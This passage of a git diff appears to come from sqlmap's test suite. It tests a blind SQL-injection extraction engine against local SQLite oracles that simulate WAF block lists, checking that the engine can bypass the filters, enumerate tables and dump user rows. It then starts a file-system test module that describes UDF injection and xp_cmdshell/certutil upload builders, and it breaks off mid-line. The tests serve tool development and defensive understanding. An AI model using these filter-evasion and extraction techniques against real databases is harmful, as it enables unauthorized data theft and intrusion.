boundary (2>2 must be + # False). the full truth table must reject 'gt' (and fall to BETWEEN) so counts/lengths + # aren't read off-by-one. reproduced: extractInteger('5',max=10) used to return 6. + con = sqlite3.connect(":memory:") + self.addCleanup(con.close) + + def ask(cond): + try: + return con.execute("SELECT CASE WHEN (%s) THEN 1 ELSE 0 END" % cond.replace(">", ">=")).fetchone()[0] == 1 + except sqlite3.DatabaseError: + return False + esp = Esperanto(ask) + esp.discover() + self.assertNotEqual(esp._comparator, "gt", "'>'->'>=' rewrite wrongly accepted as gt") + self.assertEqual(esp.extractInteger("(5)", maximum=10), 5) + + def test_exact_requires_byte_witness(self): + # without a proven hex/binary witness (or code-codepoint), a value is WHOLE_BUT_AMBIGUOUS, + # never EXACT - plain '=' is collation-dependent and can't certify byte-exactness. + con = sqlite3.connect(":memory:") + self.addCleanup(con.close) + con.execute("CREATE TABLE t (v TEXT)") + con.execute("INSERT INTO t VALUES ('Zz')") + con.commit() + blk = re.compile(r"(?i)\bHEX\(|RAWTOHEX|ENCODE\(|(ASCII|UNICODE|ORD)\(|GLOB|COLLATE|BLOB|BINARY") + + def ask(cond): + if blk.search(cond): + return False + try: + return con.execute("SELECT CASE WHEN (%s) THEN 1 ELSE 0 END" % cond).fetchone()[0] == 1 + except sqlite3.DatabaseError: + return False + esp = Esperanto(ask, maxlen=64) + esp.discover() + r = esp.extractResult("(SELECT v FROM t)") + if esp._byteFaithful(): + self.skipTest("dialect still has a byte-faithful primitive") + self.assertEqual(r.value, "Zz") + self.assertFalse(r.exact, "value marked exact without a byte-faithful witness: %r" % r) + + def test_extractresult_no_contradiction(self): + # a hard defect (incomplete/truncated) is classified before null-exactness + from extra.esperanto import ExtractResult, Integrity + self.assertEqual(ExtractResult(None, is_null=True, complete=False).integrity, Integrity.FAILED) + self.assertEqual(ExtractResult(None, is_null=True, complete=True).integrity, Integrity.EXACT) + self.assertFalse(ExtractResult(None, is_null=True, complete=False).exact) + + def test_host_maxlen_zero(self): + con = sqlite3.connect(":memory:") + self.addCleanup(con.close) + con.execute("CREATE TABLE t (v TEXT)") + con.execute("INSERT INTO t VALUES ('abcdef')") + con.commit() + + def ask(cond): + try: + return con.execute("SELECT CASE WHEN (%s) THEN 1 ELSE 0 END" % cond).fetchone()[0] == 1 + except sqlite3.DatabaseError: + return False + esp = Esperanto(ask) + esp.discover() + r = hostExtract(ask, esp.strategy(), "(SELECT v FROM t)", maxlen=0) + self.assertEqual(r.value, "") + self.assertTrue(r.truncated and not r.complete) + + def test_between_overflow_magnitude(self): + # a positive value beyond BETWEEN's global ceiling fails closed WITHOUT claiming "below + # minimum" (the direction is genuinely unknown to a bounded range predicate) + esp = Esperanto(_oracle()) + esp.discover() + esp._comparator = "between" + try: + esp.extractInteger("(%d)" % ((1 << 62) + 5)) + self.fail("expected OverflowError") + except OverflowError as ex: + self.assertNotIn("below minimum", str(ex)) + + def test_integrity_semantics(self): + # `complete` (walk finished) must be distinct from `exact` (bytes proven identical). + # a case-insensitive collation recovers a WHOLE value that is NOT exact. + con = sqlite3.connect(":memory:") + self.addCleanup(con.close) + con.execute("CREATE TABLE t (v TEXT)") + con.execute("INSERT INTO t VALUES ('A')") + con.commit() + blk = re.compile(r"(?i)\bHEX\(|RAWTOHEX|ENCODE\(|(ASCII|UNICODE|ORD)\(|GLOB|COLLATE|BLOB") + + def ask(cond): + if blk.search(cond): + return False + try: + return con.execute("SELECT CASE WHEN (%s COLLATE NOCASE) THEN 1 ELSE 0 END" % cond).fetchone()[0] == 1 + except sqlite3.DatabaseError: + try: + return con.execute("SELECT CASE WHEN (%s) THEN 1 ELSE 0 END" % cond).fetchone()[0] == 1 + except sqlite3.DatabaseError: + return False + esp = Esperanto(ask, maxlen=64) + esp.discover() + self.assertEqual(esp.dialect.compare, "equality-ci") + r = esp.extractResult(EXPR.replace("v FROM t", "v FROM t")) + self.assertTrue(r.complete, "case-ci value should be WHOLE: %r" % r) + self.assertFalse(r.exact, "case-ci value must NOT be exact: %r" % r) + self.assertEqual(r.integrity, Integrity.WHOLE_BUT_AMBIGUOUS) + + def test_hostextract_structured_and_tristate(self): + # hostExtract returns an ExtractResult: a bounded read is TRUNCATED (not a bare string), + # and an undecided (None) host observation degrades to a FAILED result, never a fake bit. + con = sqlite3.connect(":memory:") + self.addCleanup(con.close) + con.execute("CREATE TABLE t (v TEXT)") + con.execute("INSERT INTO t VALUES ('abcdef')") + con.commit() + + def ask(cond): + try: + return con.execute("SELECT CASE WHEN (%s) THEN 1 ELSE 0 END" % cond).fetchone()[0] == 1 + except sqlite3.DatabaseError: + return False + esp = Esperanto(ask, maxlen=64) + esp.discover() + strat = esp.strategy() + r = hostExtract(ask, strat, "(SELECT v FROM t)", maxlen=3) + self.assertEqual(r.value, "abc") + self.assertTrue(r.truncated and not r.exact and r.integrity == Integrity.TRUNCATED) + undecided = hostExtract(lambda c: None, strat, "(SELECT v FROM t)") + self.assertTrue(undecided.value is None and not undecided.complete) + + def test_between_overflow_direction(self): + # a positive value above the cap in BETWEEN mode must report ABOVE maximum (not below) + esp = Esperanto(_oracle()) + esp.discover() + esp._comparator = "between" + try: + esp.extractInteger("(100)", maximum=10) + self.fail("expected OverflowError") + except OverflowError as ex: + self.assertIn("exceeds maximum", str(ex)) + + def test_key_uniqueness_gate(self): + # #2: a keyset ordering column MUST be single-column unique + non-NULL. a composite + # key's first column repeats -> `> prev` paging silently drops rows sharing it, so it + # must be REJECTED (COUNT(*) != COUNT(DISTINCT col)); only a unique column is accepted. + con = sqlite3.connect(":memory:") + self.addCleanup(con.close) + con.execute("CREATE TABLE k (a INT, b INT, u INT, nul INT)") + con.executemany("INSERT INTO k VALUES (?,?,?,?)", [(1, 1, 10, 1), (1, 2, 20, None), (2, 1, 30, 3)]) + con.commit() + + def ask(cond): + try: + return con.execute("SELECT CASE WHEN (%s) THEN 1 ELSE 0 END" % cond).fetchone()[0] == 1 + except Exception: + return False + esp = Esperanto(ask) + esp.discover() + self.assertFalse(esp._keyIsUnique("a", "k"), "non-unique composite-first column accepted") + self.assertFalse(esp._keyIsUnique("nul", "k"), "nullable column accepted as key") + self.assertTrue(esp._keyIsUnique("u", "k"), "unique non-null column rejected") + + def test_fixup_length(self): + # a trailing-space-trimming length fn is rebuilt as LEN(x||'.')-1 + esp = Esperanto(_oracle(u"x")) + esp.discover() + esp.dialect.length = Cap("LEN", "LEN({expr})", unit="characters", trailing=False, empty_is_null=False) + esp.dialect.concat = Cap("plus", "({a})+({b})") + esp._fixupLength() + self.assertTrue(esp.dialect.length.name.endswith("+dot") and esp.dialect.length.get("trailing"), + "_fixupLength did not rebuild: %r" % esp.dialect.length) + + def test_lit_escaping(self): + esp = Esperanto(_oracle(u"x")) + esp.discover() + esp._backslashEscape = True + self.assertEqual(esp._lit("\\"), "'\\\\'") + esp._backslashEscape = False + self.assertEqual(esp._lit("\\"), "'\\'") + self.assertEqual(esp._lit("'"), "''''") + + def test_build_literal(self): + esp = Esperanto(_oracle(u"x")) + esp.discover() + lit = esp.buildLiteral("a\\b'c") + self.assertTrue(esp._ask("%s IS NOT NULL" % lit), "buildLiteral invalid SQL: %s" % lit) + self.assertEqual(esp.extract(lit), "a\\b'c") + + def test_coalesce(self): + esp = Esperanto(_oracle(u"x")) + esp.discover() + if esp.dialect.coalesce: + self.assertEqual(esp.extract(esp.coalesce("NULL", "'Z'")), "Z") + + def test_enumerate(self): + con = sqlite3.connect(":memory:") + self.addCleanup(con.close) + con.execute("CREATE TABLE alpha (x)") + con.execute("CREATE TABLE beta (y)") + con.commit() + + def ask(cond): + try: + return con.execute("SELECT CASE WHEN (%s) THEN 1 ELSE 0 END" % cond).fetchone()[0] == 1 + except Exception: + return False + esp = Esperanto(ask) + esp.discover() + tabs = set(esp.enumerate("table", limit=10) or []) + self.assertTrue(set(["alpha", "beta"]).issubset(tabs), "enumerate tables: %r" % tabs) + + def test_dump(self): + # row DATA byte-exact, including commas / quotes / unicode (hex framing keeps intact) + con = sqlite3.connect(":memory:") + self.addCleanup(con.close) + con.execute("CREATE TABLE users (id, uname, note)") + truth = [(1, u"admin", u"all,good"), (2, u"o'brien", u"café,€"), (3, u"x", u"")] + for row in truth: + con.execute("INSERT INTO users VALUES (?,?,?)", row) + con.commit() + + def ask(cond): + try: + return con.execute("SELECT CASE WHEN (%s) THEN 1 ELSE 0 END" % cond).fetchone()[0] == 1 + except Exception: + return False + esp = Esperanto(ask) + esp.discover() + d = esp.dump("users", limit=10) + got = set(frozenset(dict(zip(d["columns"], r)).items()) for r in d["rows"]) + want = set(frozenset({"id": str(i), "uname": u, "note": n}.items()) for i, u, n in truth) + self.assertTrue(d["complete"] and got == want, "dump mismatch: %r" % d["rows"]) + + def test_dump_scavenges_without_hex_or_concat(self): + # DOOMSDAY: a back-end with NO hex function AND NO concat operator (nothing to + # frame a whole row with) must still be dumped - cell by cell, one value per + # extraction. Quotes/commas/NULLs in the data must survive (a single value has + # no framing ambiguity). This is the scavenger's whole reason to exist. + con = sqlite3.connect(":memory:") + self.addCleanup(con.close) + con.execute("CREATE TABLE users (id INTEGER, name TEXT, email TEXT)") + for row in ((1, "luther", "a@b.c"), (2, "o'brien", "x,y@z"), (3, "wu", None)): + con.execute("INSERT INTO users VALUES (?,?,?)", row) + con.commit() + blk = re.compile(r"(?i)\bHEX\(|RAWTOHEX|ENCODE\(|BINTOHEX|HEX_ENCODE|TO_HEX|BINTOSTR|" + r"\|\||\bCONCAT\(|CONCAT_WS|\)\+\(|\)&\(") # no hex, no concat at all + + def ask(cond): + if blk.search(cond): + return False + try: + return con.execute("SELECT CASE WHEN (%s) THEN 1 ELSE 0 END" % cond).fetchone()[0] == 1 + except sqlite3.DatabaseError: + return False + esp = Esperanto(ask) + esp.discover() + self.assertIsNone(esp.dialect.hexfn) + self.assertIsNone(esp.dialect.concat) + d = esp.dump("users") + got = set(frozenset(dict(zip(d["columns"], r)).items()) for r in d["rows"]) + want = set(frozenset(v.items()) for v in ( + {"id": "1", "name": "luther", "email": "a@b.c"}, + {"id": "2", "name": "o'brien", "email": "x,y@z"}, + {"id": "3", "name": "wu", "email": None})) + self.assertTrue(d["complete"] and got == want, "cell-by-cell dump: %r" % d["rows"]) + + def test_enumerate_without_count(self): + # COUNT() filtered (a WAF, or an exotic engine) must not kill discovery: + # catalog detection, brute-force existence probing, and identifier quoting are + # all COUNT-free (scalar-subquery existence), so tables/columns/dump still work. + con = sqlite3.connect(":memory:") + self.addCleanup(con.close) + con.execute("CREATE TABLE users (id INTEGER, name TEXT)") + con.execute("INSERT INTO users VALUES (1, 'admin'), (2, 'root')") + con.commit() + blk = re.compile(r"(?i)\bCOUNT\s*\(") + + def ask(cond): + if blk.search(cond): + return False + try: + return con.execute("SELECT CASE WHEN (%s) THEN 1 ELSE 0 END" % cond).fetchone()[0] == 1 + except sqlite3.DatabaseError: + return False + esp = Esperanto(ask) + esp.discover() + self.assertEqual(esp.enumerate("table", limit=10), ["users"]) + self.assertEqual(sorted(esp.columns("users")), ["id", "name"]) + rows = (esp.dump("users") or {}).get("rows") or [] + got = set(frozenset(dict(zip(esp.dump("users")["columns"], r)).items()) for r in rows) + want = set(frozenset(v.items()) for v in ({"id": "1", "name": "admin"}, {"id": "2", "name": "root"})) + self.assertEqual(got, want) + + def test_quoting(self): + # reserved-word / spaced column names must be quoted, not interpolated raw + con = sqlite3.connect(":memory:") + self.addCleanup(con.close) + con.execute('CREATE TABLE q (id INTEGER, "order" TEXT, "group by" TEXT)') + con.execute('INSERT INTO q VALUES (1, ?, ?)', ("a'b", "x,y")) + con.commit() + + def ask(cond): + try: + return con.execute("SELECT CASE WHEN (%s) THEN 1 ELSE 0 END" % cond).fetchone()[0] == 1 + except sqlite3.DatabaseError: + return False + esp = Esperanto(ask) + esp.discover() + dq = esp.dump("q") + got = set(frozenset(dict(zip(dq["columns"], r)).items()) for r in dq["rows"]) + want = set([frozenset({"id": "1", "order": "a'b", "group by": "x,y"}.items())]) + self.assertTrue(dq["complete"] and got == want and esp.dialect.identQuote, + "quoted-identifier dump failed: %r" % dq["rows"]) + + def test_strategy_handoff(self): + # the frozen InferenceStrategy is a *sufficient* host interface, and immutable + con = sqlite3.connect(":memory:") + self.addCleanup(con.close) + con.execute("CREATE TABLE k (v TEXT)") + con.execute("INSERT INTO k VALUES ('Str4t3gy!')") + con.commit() + + def ask(cond): + try: + return con.execute("SELECT CASE WHEN (%s) THEN 1 ELSE 0 END" % cond).fetchone()[0] == 1 + except sqlite3.DatabaseError: + return False + esp = Esperanto(ask) + esp.discover() + strat = esp.strategy() + self.assertRaises(AttributeError, setattr, strat, "compare_mode", "x") + hr = hostExtract(ask, strat, "(SELECT v FROM k)") + self.assertEqual(hr.value, "Str4t3gy!") + self.assertTrue(hr.exact) + self.assertTrue(strat.asQueriesRow()["substring"]) + + def test_pattern_match_fallback(self): + # SUBSTR + LENGTH + hex + code fns ALL blacklisted -> pure GLOB/LIKE floor + con = sqlite3.connect(":memory:") + self.addCleanup(con.close) + con.execute("CREATE TABLE flag (id INTEGER, v TEXT)") + con.execute("INSERT INTO flag VALUES (1, 'FLAG{no_SUBSTR_%_needed}')") + con.commit() + blk = re.compile(r"(?i)\bSUBSTR|SUBSTRING|\bMID\(|\bLENGTH|CHAR_LENGTH|\bLEN\(|" + r"OCTET_LENGTH|LENGTHB|DATALENGTH|(ASCII|UNICODE|ORD)\(|\bHEX\(|" + r"RAWTOHEX|ENCODE\(") + + def ask(cond): + if blk.search(cond): + return False + try: + return con.execute("SELECT CASE WHEN (%s) THEN 1 ELSE 0 END" % cond).fetchone()[0] == 1 + except sqlite3.DatabaseError: + return False + esp = Esperanto(ask) + esp.discover() + self.assertIsNotNone(esp.dialect.prefix) + self.assertEqual(esp.extract("(SELECT v FROM flag WHERE id=1)"), "FLAG{no_SUBSTR_%_needed}") + + def test_like_floor_escapes_wildcard_chars(self): + # the classic trap: on the LIKE floor '_' and '%' ARE the wildcards, so a value + # like 'all_products' must escape them (\_ ESCAPE '\'), not treat them as + # match-anything. GLOB is blocked here to force LIKE (where '_'/'%' are magic). + con = sqlite3.connect(":memory:") + self.addCleanup(con.close) + con.execute("CREATE TABLE v (val TEXT)") + con.execute("INSERT INTO v VALUES ('all_products')") + for t in ("all_products", "wp_users", "sales%2024"): # '_'/'%' in identifiers + con.execute('CREATE TABLE "%s" (id)' % t) + con.commit() + blk = re.compile(r"(?i)\bSUBSTR|SUBSTRING|\bMID\(|\bLENGTH|CHAR_LENGTH|\bLEN\(|" + r"OCTET_LENGTH|LENGTHB|DATALENGTH|(ASCII|UNICODE|ORD|CODEPOINT)\(|" + r"\bHEX\(|RAWTOHEX|ENCODE\(|GLOB") # +GLOB -> only LIKE left + + def ask(cond): + if blk.search(cond): + return False + try: + return con.execute("SELECT CASE WHEN (%s) THEN 1 ELSE 0 END" % cond).fetchone()[0] == 1 + except sqlite3.DatabaseError: + return False + esp = Esperanto(ask) + esp.discover() + self.assertEqual(esp.dialect.prefix.name, "LIKE") # GLOB gone -> LIKE floor + self.assertEqual(esp.extract("(SELECT val FROM v)"), "all_products") + tabs = esp.enumerate("table", limit=10) or [] + self.assertEqual(sorted(tabs), ["all_products", "sales%2024", "v", "wp_users"]) + + def test_length_from_substring(self): + # every length fn blacklisted but SUBSTR present -> length derived from the end + con = sqlite3.connect(":memory:") + self.addCleanup(con.close) + con.execute("CREATE TABLE t6 (v TEXT)") + con.execute(u"INSERT INTO t6 VALUES ('Admin-42€')") + con.commit() + blk = re.compile(r"(?i)\b(CHAR_LENGTH|LENGTH|LEN)\s*\(") + + def ask(cond): + if blk.search(cond): + return False + try: + return con.execute("SELECT CASE WHEN (%s) THEN 1 ELSE 0 END" % cond).fetchone()[0] == 1 + except sqlite3.DatabaseError: + return False + esp = Esperanto(ask) + d = esp.discover() + self.assertIsNone(d.length) + self.assertEqual(esp.extract("(SELECT v FROM t6)"), u"Admin-42€") + + def test_enumeration_degrades_not_crashes(self): + # a permission/charset wall mid-walk (oracle can't decide the keyset bound) + # must STOP with partial results, never crash with OracleUndecided + con = sqlite3.connect(":memory:") + self.addCleanup(con.close) + for t in ("alpha", "beta", "gamma"): + con.execute("CREATE TABLE %s (x)" % t) + con.commit() + + def ask(cond): + if "name>" in cond.replace(" ", "").lower(): # the keyset bound + raise RuntimeError("simulated permission/charset wall") + try: + return con.execute("SELECT CASE WHEN (%s) THEN 1 ELSE 0 END" % cond).fetchone()[0] == 1 + except Exception: + return False + esp = Esperanto(ask) + esp.discover() + names = esp.enumerate("table", limit=10) # must not raise + self.assertEqual(names, ["alpha"]) + self.assertTrue(any("stopped early" in n for n in esp.dialect.notes)) + + def test_left_right_rung(self): + # SUBSTR/SUBSTRING/MID blocked but LEFT+RIGHT present -> RIGHT(LEFT(x,p),1). + # LEFT/RIGHT are reserved JOIN keywords in SQLite; some builds reject LEFT(/RIGHT( + # as function calls (syntax error, keyword) rather than invoking a same-named UDF, + # so register the shims under non-keyword names and translate the engine's LEFT(/ + # RIGHT( onto them (the same rewrite the disguised-dialect oracles use). Keeps the + # test portable across SQLite builds while still exercising the real left_right rung. + con = sqlite3.connect(":memory:") + self.addCleanup(con.close) + con.execute("CREATE TABLE t7 (v TEXT)") + con.execute("INSERT INTO t7 VALUES ('Zagreb-42')") + con.commit() + con.create_function("esp_left", 2, lambda s, n: (s or "")[:max(n, 0)]) + con.create_function("esp_right", 2, lambda s, n: (s or "")[len(s or "") - n:] if n > 0 else "") + blk = re.compile(r"(?i)\b(SUBSTR|SUBSTRING|SUBSTRC|MID)\s*\(") + rwLeft = re.compile(r"(?i)\bLEFT\s*\(") + rwRight = re.compile(r"(?i)\bRIGHT\s*\(") + + def ask(cond): + if blk.search(cond): + return False + sql = rwRight.sub("esp_right(", rwLeft.sub("esp_left(", cond)) + try: + return con.execute("SELECT CASE WHEN (%s) THEN 1 ELSE 0 END" % sql).fetchone()[0] == 1 + except sqlite3.DatabaseError: + return False + esp = Esperanto(ask) + d = esp.discover() + self.assertTrue(d.substring is not None and d.substring[0] == "left_right") + self.assertEqual(esp.extract("(SELECT v FROM t7)"), "Zagreb-42") + + # -- adversarial dialect scenarios --------------------------------------------- + + def _adapt(self, oracle): + esp = Esperanto(oracle) + esp.discover() + return esp, esp.extract(_SECRET_EXPR) + + def test_disguise_substring_is_SUBSTRING(self): + # SUBSTR/MID blocked; the engine "has" SUBSTRING -> mapped to SQLite substr + esp, got = self._adapt(_disguisedOracle( + blocked=r"\bSUBSTR\(|\bMID\(|\bSUBSTRC\(", + rewrites=[(r"SUBSTRING\(", "substr(")])) + self.assertEqual(esp.dialect.substring[0], "SUBSTRING") + self.assertEqual(got, "admin") + + def test_disguise_length_is_LEN(self): + # CHAR_LENGTH/LENGTH blocked; the engine "has" LEN -> mapped to SQLite length + esp, got = self._adapt(_disguisedOracle( + blocked=r"CHAR_LENGTH\(|\bLENGTH\(", + rewrites=[(r"\bLEN\(", "length(")])) + self.assertEqual(esp.dialect.length[0], "LEN") + self.assertEqual(got, "admin") + + def test_disguise_charcode_is_ASCII(self): + # UNICODE/ORD blocked; the engine "has" ASCII -> mapped to SQLite unicode() + esp, got = self._adapt(_disguisedOracle( + blocked=r"\bUNICODE\(|\bORD\(|CODEPOINT\(", + rewrites=[(r"\bASCII\(", "unicode(")])) + self.assertEqual(esp.dialect.charcode[0], "ASCII") + self.assertEqual(esp.dialect.compare, "code") + self.assertEqual(got, "admin") + + def test_disguise_concat_is_CONCAT_not_pipes(self): + # || blocked (as if it were logical OR, MySQL-style); engine has variadic CONCAT + esp, got = self._adapt(_disguisedOracle( + blocked=r"\|\|", + funcs=[("CONCAT", -1, _concatFn)])) + self.assertEqual(esp.dialect.concat[0], "concat") + self.assertEqual(got, "admin") + + def test_disguise_no_catalog_brute_forces_schema(self): + # every system catalog denied: the engine knows NOTHING about the schema and + # must brute-force the table + columns, then dump + esp = Esperanto(_disguisedOracle( + blocked=r"sqlite_master|INFORMATION_SCHEMA|SYS\.|SYSIBM|pg_catalog|pg_tables|" + r"syscat|RDB\$|master\.\.|sys\.tables|sys\.schemas")) + esp.discover() + self.assertIsNone(esp.dialect.catalog) + self.assertEqual(esp.enumerate("table"), ["users"]) + self.assertEqual(esp.columns("users"), ["id", "name", "email"]) + rows = (esp.dump("users") or {}).get("rows") + self.assertEqual(rows, [["1", "luther", "a@b.c"], ["2", "admin", "p@w.n"], ["3", "wu", None]]) + + def test_disguise_gt_blocked_falls_to_between(self): + # a WAF that strips '<'/'>' must not break bisection - retry via BETWEEN + esp = Esperanto(_disguisedOracle(blocked=r">|<")) + esp.discover() + self.assertEqual(esp._comparator, "between") + self.assertEqual(esp.extract(_SECRET_EXPR), "admin") + self.assertEqual(len((esp.dump("users") or {}).get("rows") or []), 3) # BETWEEN keyset pages all + + def test_disguise_gt_and_between_blocked_use_operator_free(self): + # '<'/'>' AND BETWEEN gone: rather than drop to slow order-free membership, the ladder + # finds an ORDERED operator-free rung (SIGN((e)-(n))=1 etc.) that needs no comparison + # operator - keeping efficient log2 bisection alive. + esp = Esperanto(_disguisedOracle(blocked=r">|<|BETWEEN")) + esp.discover() + self.assertEqual(esp._comparator, "sign") + self.assertEqual(esp.extract(_SECRET_EXPR), "admin") + self.assertEqual(len((esp.dump("users") or {}).get("rows") or []), 3) # ordered rung still pages all + + def test_disguise_no_ordering_no_in_still_extracts(self): + # the hard floor: no '<'/'>', no BETWEEN, no IN, and no operator-free ordered rung + # (SIGN/ABS/LEAST/GREATEST/NULLIF/WIDTH_BUCKET/INTERVAL) - only '=' equality. Values + # still extract (linear scan); multi-row dump honestly degrades (can't page) + esp = Esperanto(_disguisedOracle( + blocked=r">|<|BETWEEN|\bIN\s*\(|SIGN\(|ABS\(|LEAST\(|GREATEST\(|NULLIF\(|WIDTH_BUCKET\(|INTERVAL\(")) + esp.discover() + self.assertEqual(esp.extract(_SECRET_EXPR), "admin") + rows = (esp.dump("users") or {}).get("rows") + self.assertTrue(rows and rows[0] == ["1", "luther", "a@b.c"]) + + def test_disguise_everything_at_once(self): + # the monster: SUBSTRING + LEN + ASCII(->unicode) + variadic CONCAT (no ||) + + # NO catalog, all at once - the engine must adapt to every disguise and dump + esp = Esperanto(_disguisedOracle( + blocked=(r"\bSUBSTR\(|\bMID\(|\bSUBSTRC\(|CHAR_LENGTH\(|\bLENGTH\(|" + r"\bUNICODE\(|\bORD\(|CODEPOINT\(|\|\||" + r"sqlite_master|INFORMATION_SCHEMA|SYS\.|SYSIBM|pg_catalog|pg_tables|" + r"syscat|RDB\$|master\.\.|sys\.tables|sys\.schemas"), + rewrites=[(r"SUBSTRING\(", "substr("), (r"\bLEN\(", "length("), (r"\bASCII\(", "unicode(")], + funcs=[("CONCAT", -1, _concatFn)])) + esp.discover() + self.assertEqual(esp.dialect.substring[0], "SUBSTRING") + self.assertEqual(esp.dialect.length[0], "LEN") + self.assertEqual(esp.dialect.charcode[0], "ASCII") + self.assertEqual(esp.dialect.concat[0], "concat") + self.assertIsNone(esp.dialect.catalog) + rows = (esp.dump("users") or {}).get("rows") + self.assertEqual(rows, [["1", "luther", "a@b.c"], ["2", "admin", "p@w.n"], ["3", "wu", None]]) + + def test_disguise_dialect_profiles(self): + # each coherent fake back-end must be discovered from scratch and yield every + # row byte-exact - not just the one capability the disguise touches (column + # ORDER is a dialect detail, so compare rows as column->value maps) + want = set(frozenset(d.items()) for d in ( + {"id": "1", "name": "luther", "email": "a@b.c"}, + {"id": "2", "name": "admin", "email": "p@w.n"}, + {"id": "3", "name": "wu", "email": None})) + for name, blocked, rewrites, funcs in _DIALECTS: + esp = Esperanto(_disguisedOracle(blocked, rewrites, funcs)) + esp.discover() + self.assertEqual(esp.extract(_SECRET_EXPR), "admin", "%s: extract" % name) + d = esp.dump("users") or {} + got = set(frozenset(dict(zip(d.get("columns") or [], r)).items()) for r in (d.get("rows") or [])) + self.assertEqual(got, want, "%s: dump %r" % (name, d.get("rows"))) + + def test_disguise_bracket_quoting_reserved_words(self): + # '"' and backtick idents blocked -> the engine must fall to [..] quoting to + # reach reserved-word columns; commas/quotes in the data must survive framing + seed = ('CREATE TABLE q (id INTEGER, "order" TEXT, "group" TEXT)', + "INSERT INTO q VALUES (1, ?, ?)") + con = sqlite3.connect(":memory:") + self.addCleanup(con.close) + con.execute(seed[0]); con.execute(seed[1], ("a,b", "x'y")); con.commit() + blk = re.compile(r'"|`') + + def ask(cond): + if blk.search(cond): + return False + try: + return con.execute("SELECT CASE WHEN (%s) THEN 1 ELSE 0 END" % cond).fetchone()[0] == 1 + except Exception: + return False + esp = Esperanto(ask); esp.discover() + dq = esp.dump("q") + self.assertEqual(esp.dialect.identQuote, ("[", "]")) # forced past " and ` to [..] + got = set(frozenset(dict(zip(dq["columns"], r)).items()) for r in dq["rows"]) + want = set([frozenset({"id": "1", "order": "a,b", "group": "x'y"}.items())]) + self.assertTrue(dq["complete"] and got == want, "bracket-quoted dump: %r" % dq["rows"]) + + def test_disguise_lossy_charcode_escalates_to_hex(self): + # a first-byte charcode fn (MySQL-style ASCII) is lossy for non-ASCII; the + # engine must detect that and escalate to hex, recovering the bytes exactly + con = sqlite3.connect(":memory:") + self.addCleanup(con.close) + con.execute("CREATE TABLE t (v TEXT)") + con.execute(u"INSERT INTO t VALUES ('café-€')") # cafe-EUR + con.commit() + con.create_function("ASCII", 1, lambda s: (bytearray(s.encode("utf-8"))[0] if s else None)) + blk = re.compile(r"\bUNICODE\(|\bORD\(|CODEPOINT\(") + + def ask(cond): + if blk.search(cond): + return False + try: + return con.execute("SELECT CASE WHEN (%s) THEN 1 ELSE 0 END" % cond).fetchone()[0] == 1 + except Exception: + return False + esp = Esperanto(ask); esp.discover() + self.assertEqual(esp.dialect.charcode[0], "ASCII") + self.assertEqual(esp.extractText("(SELECT v FROM t)"), u"café-€") + + def test_disguise_unicode_through_dialect(self): + # non-ASCII data recovered byte-exact even while the dialect is disguised + # (SUBSTR/MID/CHAR_LENGTH/LENGTH blocked -> SUBSTRING/LEN mapped to SQLite) + con = sqlite3.connect(":memory:") + self.addCleanup(con.close) + con.execute("CREATE TABLE s (v TEXT)") + con.execute(u"INSERT INTO s VALUES ('Zagreb-župa-€42')") # Zagreb-zupa-EUR42 + con.commit() + blk = re.compile(r"\bSUBSTR\(|\bMID\(|CHAR_LENGTH\(|\bLENGTH\(", re.I) + rw = [(re.compile(r"SUBSTRING\(", re.I), "substr("), (re.compile(r"\bLEN\(", re.I), "length(")] + + def ask(cond): + if blk.search(cond): + return False + sql = cond + for rx, rep in rw: + sql = rx.sub(rep, sql) + try: + return con.execute("SELECT CASE WHEN (%s) THEN 1 ELSE 0 END" % sql).fetchone()[0] == 1 + except Exception: + return False + esp = Esperanto(ask); esp.discover() + self.assertEqual(esp.extractText("(SELECT v FROM s)"), u"Zagreb-župa-€42") + + +def tearDownModule(): + while _OPEN_CONNECTIONS: + try: + _OPEN_CONNECTIONS.pop().close() + except Exception: + pass + + +if __name__ == "__main__": + unittest.main(verbosity=2) diff --git a/tests/test_filesystem.py b/tests/test_filesystem.py new file mode 100644 index 00000000000..6eb4e6bcfe4 --- /dev/null +++ b/tests/test_filesystem.py @@ -0,0 +1,740 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission + +Unit coverage for the file-read/file-write/UDF-injection SQL & command builders: + + - plugins/generic/filesystem.py (encoding, INSERT/UPDATE query forging, + length probe, read/write dispatch) + - plugins/dbms/mssqlserver/filesystem.py + (debug.exe SCR script, BULK INSERT / + bin->hex extraction, PowerShell & + certutil base64 upload commands) + - lib/takeover/udf.py (sys_exec/sys_eval calls, CREATE FUNCTION + SQL for MySQL/PostgreSQL, remote-path + selection, UDF pruning) + +These methods are (near-)pure string builders given conf/kb plus the injection +layer. Each test drives the real method with inject.goStacked / inject.getValue +(and, for MSSQL, xpCmdshellWriteFile/execCmd) captured, and asserts the EXACT +SQL / command / encoded payload produced -- so a regression in the assembly +logic fails the test. No live target / network / DBMS involved. +""" + +import os +import sys +import tempfile +import unittest + +sys.path.insert(0, os.path.dirname(os.path.abspath(__file__))) +from _testutils import bootstrap, set_dbms, reset_dbms +bootstrap() + +from lib.core.data import conf, kb +from lib.core.convert import encodeHex, encodeBase64, getText + + +# --------------------------------------------------------------------------- # +# shared base: snapshot/restore every global + monkeypatch these tests touch # +# --------------------------------------------------------------------------- # +class _FsBase(unittest.TestCase): + # subclasses set `target_modules` = list of modules whose inject.* we patch + target_modules = () + + # conf fields read by the methods under test + _CONF_KEYS = ("batch", "direct", "fileRead", "fileWrite", "filePath", + "commonFiles", "osPwn", "osCmd", "osShell", "regRead", + "regAdd", "regDel", "tmpPath", "shLib", "encoding") + _KB_KEYS = ("bruteMode", "binaryField", "fileReadMode") + + def setUp(self): + self._conf = {k: conf.get(k) for k in self._CONF_KEYS} + self._kb = {k: kb.get(k) for k in self._KB_KEYS} + self._patched = [] # (obj, attr, original) + + conf.batch = True + conf.direct = True + kb.bruteMode = False + + def tearDown(self): + for obj, attr, orig in reversed(self._patched): + setattr(obj, attr, orig) + for k, v in self._conf.items(): + conf[k] = v + for k, v in self._kb.items(): + kb[k] = v + + def patch(self, obj, attr, value): + self._patched.append((obj, attr, getattr(obj, attr))) + setattr(obj, attr, value) + return value + + +# --------------------------------------------------------------------------- # +# plugins/generic/filesystem.py # +# --------------------------------------------------------------------------- # +class TestGenericFilesystem(_FsBase): + import plugins.generic.filesystem as module + + def _fs(self): + return self.module.Filesystem() + + # -- fileContentEncode ------------------------------------------------- # + def test_fileContentEncode_hex_single(self): + # single=True -> one element, 0x-prefixed, exact lower-case hex of bytes + out = 